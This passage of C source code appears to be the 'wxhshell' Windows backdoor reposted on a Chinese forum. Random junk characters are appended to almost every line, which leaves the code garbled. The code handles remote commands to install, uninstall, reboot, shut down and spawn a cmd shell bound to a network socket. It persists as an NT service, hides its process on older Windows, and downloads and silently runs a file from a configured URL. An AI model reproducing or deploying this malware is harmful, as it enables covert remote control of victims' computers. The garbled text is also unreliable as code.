      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *CtWDUxSdW  
    break; 7]\_7L|>]  
  } h 8Shf"  
  // 安装 jEK{QOq0  
  case 'i': { h{xq  
    if(Install()) 8v{0=9,Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'PO+P~|oa&  
    else M N-j$-y}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sq<ds}o'8l  
    break; ;og[ q  
    } olA 1,8  
  // 卸载 m2sf]-?Y  
  case 'r': { {X r|L  
    if(Uninstall()) "XKcbdr8-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $TU:iv1Fm  
    else Dx1f< A1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PMOyZ3  
    break; YCBp ]xuE  
    } {3)^$F=T  
  // 显示 wxhshell 所在路径 !H)Cua)  
  case 'p': { ;@5N  
    char svExeFile[MAX_PATH]; h7?uM^p  
    strcpy(svExeFile,"\n\r"); p.%lE! v  
      strcat(svExeFile,ExeFile); U5[,UrC  
        send(wsh,svExeFile,strlen(svExeFile),0); %Z.!T  
    break; yj<j>JtN  
    } mFk6a{+YX  
  // 重启 n]nb+_-97  
  case 'b': { Z'Uc}M'U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %"yy8~|  
    if(Boot(REBOOT)) :t)<$dtf[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]h3{M Tr/  
    else { 3'*}ZDC  
    closesocket(wsh);  []L yu  
    ExitThread(0); XEX-NE"]  
    } 7Be\^%  
    break; 1r:i'cW h  
    } P<E!ix  
  // 关机 =|j~*6Hd  
  case 'd': { ta  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b^s>yN  
    if(Boot(SHUTDOWN)) tNbL)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A_pcv7=@  
    else { sKCfI]  
    closesocket(wsh); ;NoD4*  
    ExitThread(0); fkHCfcU  
    } ov xX.h O  
    break; x<=<Lx0B;  
    } Lb=4\ _  
  // 获取shell ]r&dWF  
  case 's': { paYvYK-K?  
    CmdShell(wsh); WHkrd8  
    closesocket(wsh); w~a_FGYX  
    ExitThread(0); ^J-"8%  
    break; PSB@yV <  
  } =@\Li)Y  
  // 退出 nqv#?>Z^OT  
  case 'x': { e0e3b]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fU^6h`t  
    CloseIt(wsh); `mp3ORR;$  
    break; Y I?4e7Z+  
    } dN)@/R^E;  
  // 离开 8GKqPS+  
  case 'q': { du5|/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u27*-X 5  
    closesocket(wsh); BpR#3CfW  
    WSACleanup(); g[D `.  
    exit(1); }"\jB  
    break; &Jf67\N  
        } \L5h&  
  } XEpwk,8*g  
  } n38l!m(.  
6Gj69Lr  
  // 提示信息 0s2@z5bfX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R=m9[TgBm  
} nq,P.~l  
  } d>bS)  
wM0P#+bA\  
  return; z$]HZ#aRE  
} p6*|)}T_%  
Kc#42 C;t/  
// shell模块句柄 IzWS6!zKU  
int CmdShell(SOCKET sock) oc0z1u  
{ mA" 82"   
STARTUPINFO si; JANP_b:t  
ZeroMemory(&si,sizeof(si)); XJ*W7HD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :yS Q[AJ"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F7N4qq1  
PROCESS_INFORMATION ProcessInfo; -guVl 4 V  
char cmdline[]="cmd"; ;e#bl1%#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I]jK]]@  
  return 0; LQ'VhNU  
} UEh-k"  
WEZ)>[Xj?  
// 自身启动模式 DcmRb/AP*  
int StartFromService(void) Y)KO*40c  
{ R1/87eB  
typedef struct > Du>vlT Y  
{ 'i7!"Y6>  
  DWORD ExitStatus; ?5Ub&{  
  DWORD PebBaseAddress; c&>==pI]k  
  DWORD AffinityMask; >XomjU[srQ  
  DWORD BasePriority; V+MhS3VD  
  ULONG UniqueProcessId; 1}DUe. a  
  ULONG InheritedFromUniqueProcessId; >G<.^~o  
}   PROCESS_BASIC_INFORMATION; j87IxB?o  
1v"r8=Wt  
PROCNTQSIP NtQueryInformationProcess; \*x=q20  
=2tl149m/z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uJ_"gPO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @;T?R  
1Zi(5S)  
  HANDLE             hProcess; (Gp|K6  
  PROCESS_BASIC_INFORMATION pbi; 6( ~DS9  
nq3B(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 99mo]1_  
  if(NULL == hInst ) return 0; @uzzyp r>  
;=oGg%@aP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A_}%YHb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jz Z9ua  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oHj64fE9  
x}*Y =Xh  
  if (!NtQueryInformationProcess) return 0; eK_Yt~dj  
_3{,nhkf:!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -mPrmapb3  
  if(!hProcess) return 0; /`YbHYNF[  
8C4 =f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O,A}p:Pgs  
l0g`;BI_  
  CloseHandle(hProcess); wG2-,\:  
Q{))+'s2h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'h~I#S4!  
if(hProcess==NULL) return 0; EHC^ [5  
AcCM W@e  
HMODULE hMod; `h+1u`FJ  
char procName[255]; u, Rhm-`  
unsigned long cbNeeded; .}||!  
RI2Or9.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x|oa"l^JZ"  
2`]_c=  
  CloseHandle(hProcess); |0A:0'uA!  
z,#3YC{'  
if(strstr(procName,"services")) return 1; // 以服务启动 Me|+)}'p5h  
twA2U7F  
  return 0; // 注册表启动 xgQ]#{ tG  
} |Sf` Cs  
^FZ7)T  
// 主模块 t1h2ibO  
int StartWxhshell(LPSTR lpCmdLine) zMI0W&P M  
{ ( O>oN~  
  SOCKET wsl; OJH:k~]0!  
BOOL val=TRUE; 6"UL+$k  
  int port=0; dS[="Set  
  struct sockaddr_in door; c?1 :='MC  
xw%'R-  
  if(wscfg.ws_autoins) Install(); %hqhi@q#  
NA`EG,2  
port=atoi(lpCmdLine); xK8R![x  
$={WtR  
if(port<=0) port=wscfg.ws_port; [va7+=[1=  
t<Z)D0.  
  WSADATA data; \p&a c&]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }:5>1FfX=  
;*8nd-\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F< #!83*%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mp x/~`c  
  door.sin_family = AF_INET; Q(e3-a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Q_@2  
  door.sin_port = htons(port); M+N7JpR  
koizk&)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W%k0_Y/5  
closesocket(wsl); P=jbr"5Q:  
return 1; rLm:qu(F1  
} dGb]`*E  
c*"TmDY  
  if(listen(wsl,2) == INVALID_SOCKET) { s3LR6Z7;i  
closesocket(wsl); J&IFn/JK$  
return 1; G3G"SJ np  
} }813.U  
  Wxhshell(wsl);  8/|~E  
  WSACleanup(); fWBI}~e  
u+RdC;_  
return 0; sN `NZyG  
bof{R{3q  
} }Pj3O~z  
1jhGshhp  
// 以NT服务方式启动 1K;i/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $*Q_3]AY]  
{ 1wqsGad+;  
DWORD   status = 0; |5}~n"R5  
  DWORD   specificError = 0xfffffff; q&-A}]  
V %cU @  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]v^;]0vcr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U/JeEI%L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @zJhJ'~ Sl  
  serviceStatus.dwWin32ExitCode     = 0; Z`l97$\  
  serviceStatus.dwServiceSpecificExitCode = 0; EPz$`#Sh"  
  serviceStatus.dwCheckPoint       = 0; /?; 8F  
  serviceStatus.dwWaitHint       = 0; _S(]/d(c  
5[Ryc[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  uT}Jw  
  if (hServiceStatusHandle==0) return; R":nG7o  
p5KM(N6f  
status = GetLastError(); f]BG`rJX  
  if (status!=NO_ERROR) E&/D%}Wl  
{ "5-S:+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hOX$|0i  
    serviceStatus.dwCheckPoint       = 0; oj7X9~ nd  
    serviceStatus.dwWaitHint       = 0; _`JY A  
    serviceStatus.dwWin32ExitCode     = status; <h/\)bPB  
    serviceStatus.dwServiceSpecificExitCode = specificError; oK GFDl]3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p,=:Ff}~  
    return; up~l4]b+  
  } %rQ5 <U  
l.i"Z pik  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )y7SkH|  
  serviceStatus.dwCheckPoint       = 0; AUnRr+o  
  serviceStatus.dwWaitHint       = 0; [G/q*a:K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H]. 4~ 8  
} u_o>v{&i  
GRC=G&G  
// 处理NT服务事件,比如:启动、停止 \kiCczW_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -o+_PL $\  
{ 6/9h=-w&  
switch(fdwControl) Musz+<]  
{ gev7eGH<  
case SERVICE_CONTROL_STOP: yT42u|xZA  
  serviceStatus.dwWin32ExitCode = 0; W 9Z.X!h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VZ*Q|  
  serviceStatus.dwCheckPoint   = 0; Dk|<&uVV  
  serviceStatus.dwWaitHint     = 0; E\r5!45r  
  { Q~4o{"3.'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !}()mrIlP  
  } [FKmZzEy  
  return; t Ib?23K0  
case SERVICE_CONTROL_PAUSE: T[=XGAJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _9Kdcoh  
  break; a$MMp=p  
case SERVICE_CONTROL_CONTINUE: ] t|KFk!)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oy'Q#!  
  break; $} S5&  
case SERVICE_CONTROL_INTERROGATE: zjh&?G]:G  
  break; kRgyvA,*;  
}; {sy#&m(el  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g S;p::  
} u pf7:gk +  
[?BmW {*u.  
// 标准应用程序主函数 2I:vie  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b9(d@2MtK  
{ Y#c11q Z  
E~zLhJTUL'  
// 获取操作系统版本 &L-y1'i=j  
OsIsNt=GetOsVer(); PZO7eEt8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @ -JD`2z  
~Xnq(}?ok  
  // 从命令行安装 dCcV$BX,K  
  if(strpbrk(lpCmdLine,"iI")) Install(); P _t8=d  
o><~.T=d&  
  // 下载执行文件 "2CiW6X[M  
if(wscfg.ws_downexe) { ?|+bM`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CS cM;U=  
  WinExec(wscfg.ws_filenam,SW_HIDE);  'TV^0D"  
} )%C482GO-  
J=TbZL4y}4  
if(!OsIsNt) { )^)VyI`O  
// 如果时win9x,隐藏进程并且设置为注册表启动 IgC)YIhd  
HideProc(); 4(&00#Yxg2  
StartWxhshell(lpCmdLine); T}P| uP  
} /'G'GQrr  
else +U^dllL7  
  if(StartFromService()) ap\2={u^|  
  // 以服务方式启动 lw? f2_fi  
  StartServiceCtrlDispatcher(DispatchTable); w"-bO ~5h  
else V/|Ln*rm  
  // 普通方式启动 t9m: E  
  StartWxhshell(lpCmdLine); E[LXZh  
tF&%7(EU3  
return 0; uGJeQ  
}
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只看该作者 1 发表于: 2006-10-10
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